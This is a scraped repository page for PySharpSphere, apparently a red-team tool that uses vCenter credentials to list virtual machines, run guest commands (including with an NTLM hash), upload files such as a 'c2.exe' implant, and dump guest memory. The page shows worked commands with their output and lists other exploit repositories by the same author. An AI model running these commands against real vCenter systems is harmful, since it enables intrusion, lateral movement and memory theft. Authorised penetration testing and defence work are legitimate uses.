• Stars
    star
    220
  • Rank 180,422 (Top 4 %)
  • Language
    Python
  • License
    MIT License
  • Created over 3 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Yet another SharpSphere

PySharpSphere

Inspired by SharpSphere, just another python version.

Installation

python3 setup.py install

Features

  • Support control both Linux and Windows system of virtual machines
  • Execute commands, upload files and dump memory on target guest OS
  • Use NTLM token to execute commands on guest Windows system

SharpSphere Guide

PySharpSphere Usage

usage: pySharpSphere [-h] [-H HOST] [-P PORT] [-u USER] [-p PASSWORD]
                     {list,execute,upload,dump} ...

positional arguments:
  {list,execute,upload,dump}
                        sub-command
    list                list virtual machines
    execute             execute command on target machine
    upload              upload file to target machine
    dump                dump memory of target machine

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  vCenter Server host
  -P PORT, --port PORT  vCenter Server port
  -u USER, --username USER
                        vCenter Server username
  -p PASSWORD, --password PASSWORD
                        vCenter Server password

0. List virtual machines

$ pysharpsphere -H 192.168.100.49 -u [email protected] -p password list
[*] Retrieve virtual machines list ...
DataCenter    MoID     Name                           Power    OS                                         Tools         IP
------------  -------  -----------------------------  -------  -----------------------------------------  ------------  --------------
Datacenter    vm-1015  Windows Server 2012 (VC67)     Off      Microsoft Windows Server 2012 (64-bit)     Current
Datacenter    vm-1030  VMware vCenter Server 7.0U2b   On       Other 3.x or later Linux (64-bit)          Unmanaged     192.168.100.49
Datacenter    vm-1017  VMware vCenter Server 6.7U3l   Off      Other 3.x or later Linux (64-bit)          Unmanaged
Datacenter    vm-1020  Operation Machine (Windows 7)  On       Microsoft Windows 7 (64-bit)               Current       192.168.100.2

1. Execute commands on guest OS

$ pysharpsphere -H 192.168.100.49 -u [email protected] -p password execute -t vm-1020 --guest-user administrator --guest-pass guestpassword -c whoami
[*] Execute command on target virtual machine ...
[*] Retrieve virtual machines list ...
[*] Target OS is Windows, using C:\Windows\system32\cmd.exe to execute command ...
[+] Process start successfully with PID 1200
[*] Program exited, retrieving output ...
[*] Command output:
operation-machi\administrator

2. Upload file to target virtual machine

$ pysharpsphere -H 192.168.100.49 -u [email protected] -p password upload -t vm-1020 --guest-user administrator --guest-pass guestpassword --source /tmp/test.exe --dest C:\\c2.exe
[*] Retrieve virtual machines list ...
[*] Uploading file to VM 'vim.VirtualMachine:vm-1020' ...
[*] Sending file data ...
[+] Uploaded file to C:\c2.exe successfully

3. Dump memory of guest OS

$ pysharpsphere -H 192.168.100.49 -u [email protected] -p password dump -t vm-1020
[*] Retrieve virtual machines list ...
[*] Finding snapshot on target machine vm-1020
[+] Found exists snapshot!
[*] Finding snapshot files ...
[*] Downloading .vmsn file ...
[+] Downloaded successfully: Ubuntu-Snapshot1.vmsn
[*] Downloading .vmem file ...
[+] Downloaded successfully: Ubuntu-Snapshot1.vmem

4. Execute commands on guest OS using NTLM

$ pysharpsphere -H 192.168.100.49 -u [email protected] -p password execute -t vm-1015 --guest-user administrator --guest-ntlm ea41383fa39c20f186cbcdc0ac234417 -c whoami
[*] Execute command on target virtual machine ...
[*] Retrieve virtual machines list ...
[*] Target OS is Windows, using C:\Windows\system32\cmd.exe to execute command ...
[*] Starting NTLM authentication ...
[+] Process start successfully with PID 2624
[*] Program exited, retrieving output ...
[*] Command output:
win-i1el8084mf0\administrator

More Repositories

1

nhentai

nhentai doujinshi downloader
Python
828
star
2

genpAss

Python
750
star
3

BGmi

BGmi is a cli tool for subscribed bangumi.
388
star
4

CVE-2021-3560-Authentication-Agent

PolicyKit CVE-2021-3560 Exploit (Authentication Agent)
Go
117
star
5

shell-blog

My blog
Shell
71
star
6

My-NSE-Scripts

My NSE Scripts
Lua
62
star
7

pyprint

A simple blog system which just for me
JavaScript
59
star
8

reprocks

A python socks5 proxy server/client
Python
58
star
9

riXSS

A Open Source XSS test platform powered by web.py <img/src=1 onerror=alert/:P/
Python
38
star
10

unserchain

PHP
34
star
11

AnimeReminder

Anime Reminder
Python
33
star
12

aria2-ios

Aria2 iOS Client
Swift
24
star
13

zabbixPwn

Zabbix Jsrpc.php Injection Exploit
Python
24
star
14

scastpy

A simple screencast receiver written by Python
Python
23
star
15

simple-dns

A simple regular-expression based DNS server
Python
23
star
16

zhihu.daily.rss

知乎日报RSS版
Python
22
star
17

nichijou

Just a Simple Node.js+AngularJs Blog system
JavaScript
19
star
18

biubiubiu

网页弹幕www
JavaScript
10
star
19

angular-duoshuo

A AngularJS plugin for duoshuo
8
star
20

PIE-Stack-Clash-CVE-2017-1000253

Demo-ing CVE-2017-1000253 in a container
C
5
star
21

RicBlog

(Stop Update)RicBlog is a lightweight blog system.
Python
4
star
22

kotlin-koans

Kotlin
4
star
23

rss.ricterz.me

RSS crawlers and server
Python
3
star
24

moescan

Auxiliary scanner for pentesting
Python
3
star
25

simpleLogin

Mongodb Injection test
JavaScript
2
star
26

llRedio

一个Django框架下的在线听歌平台。
Python
2
star
27

PiHome

Python
2
star
28

wolai-python

Unofficial wolai python SDK
Python
1
star
29

circle

Just a simple chat room
Python
1
star
30

pbox

A django+django rest framework bbs
Python
1
star
31

rixb-theme-light

A rixb theme
CSS
1
star
32

cloudtree

JavaScript
1
star
33

SinaFMDownloader

SinaMicroFMDownloader
Python
1
star